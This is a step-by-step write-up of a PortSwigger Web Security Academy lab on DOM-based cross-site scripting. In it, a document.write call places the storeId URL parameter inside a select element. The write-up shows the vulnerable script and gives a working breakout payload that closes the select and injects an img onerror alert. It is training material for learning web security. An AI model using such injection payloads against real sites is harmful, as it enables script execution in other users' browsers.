DOM XSS in document.write sink using source location.search inside a select element
This is going to be PortSwigger Web Security Academy’s first “Practitioner” experience leveled lab. In this lab we will be returning to our journey into Document Object Model-based Cross-Site Scripting or DOM XSS.
Lab description: This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element. To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.
Don’t let the new experience level fool you. This is still a very easy lab with the same concepts and techniques as before.
Access the lab. Instead of a blog page we are brought to a simple shopping page with several different products. Click on the “View details” button of any product you like.
Scroll down. On the bottom left of the page check out the “Check stock” button with a list of cities in a drop-down beside it.
Right click on the cities drop-down and select Inspect.
This will bring up your DOM-browser tab in your Dev-tools. You may need to expand the highlighted <select> element to see the cities in the <option> tabs.
<form id="stockCheckForm" action="/product/stock" method="POST">
<input required="" type="hidden" name="productId" value="1">
<script>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>
<select name="storeId">
<option>London</option>
<option>Paris</option>
<option>Milan</option>
</select>
<button type="submit" class="button">Check stock</button>
</form>
Above the <select> element containing our cities you will see a <script>. This script uses ‘document.write’ to dynamically create a new <select> element if the URL contains ‘storeId’ equal to something that is already an <option>.
So let’s do that! At the end of your URL add a unique alpha-numeric string set to ‘storeId’ and hit Enter.
<!-- Add the following to the end of your URL -->
&storeId=Your_4lpha-num3ric_String
<!-- The end of your URL will look like: -->
web-security-academy.net/product?productId=1&storeId=Your_4lpha-num3ric_String
Your page will refresh but look at the difference when you scroll down. Your string is now in the cities drop-down!
Now, right click again on the drop-down and see what has happens in the <select> element:
<form id="stockCheckForm" action="/product/stock" method="POST">
<input required="" type="hidden" name="productId" value="1">
<script>...
</script>
<select name="storeId">
<option selected="">M4rdukWasH3re</option>
<option>London</option>
<option>Paris</option>
<option>Milan</option>
</select>
<button type="submit" class="button">Check stock</button>
</form>
The script is using document.write to add HTML content to the page. This is where our vulnerability’s point of entry will be.
We need to break out of the <select> element by trying to close the element with </select>. We then need to call the alert() function in order to solve the lab. To do this I am going to try a simple <img> tag that will give us a pop-up window if it works.
Adding on to our URL again we will add the following and hit Enter:
<!-- ADD the following to the end of your URL -->
</select><img src="0" onerror="alert(1)">
<!-- The end of your URL will look like: -->
web-security-academy.net/product?productId=1&storeId=Your_4lpha-num3ric_String</select><img src="0" onerror="alert(1)">
It worked! We solved the lab!
Now, let’s see how it worked. Click OK then scroll down.
Right click on the drop-down, again, and select Inspect.
<form id="stockCheckForm" action="/product/stock" method="POST">
<input required="" type="hidden" name="productId" value="1">
<script>...
</script>
<select name="storeId">
<option selected="">M4rdukWasH3re</option>
</select>
<img src="0" onerror="alert(1)">
<option>London</option>
<option>Paris</option>
<option>Milan</option>
<button type="submit" class="button">Check stock</button>
</form>
Check out what happened. Our search string is still inside the <select> element, but our newly created <img> element and the <option> element are outside of the <select> element! We have successfully broken the page.
Congratulations! Keep up the good work!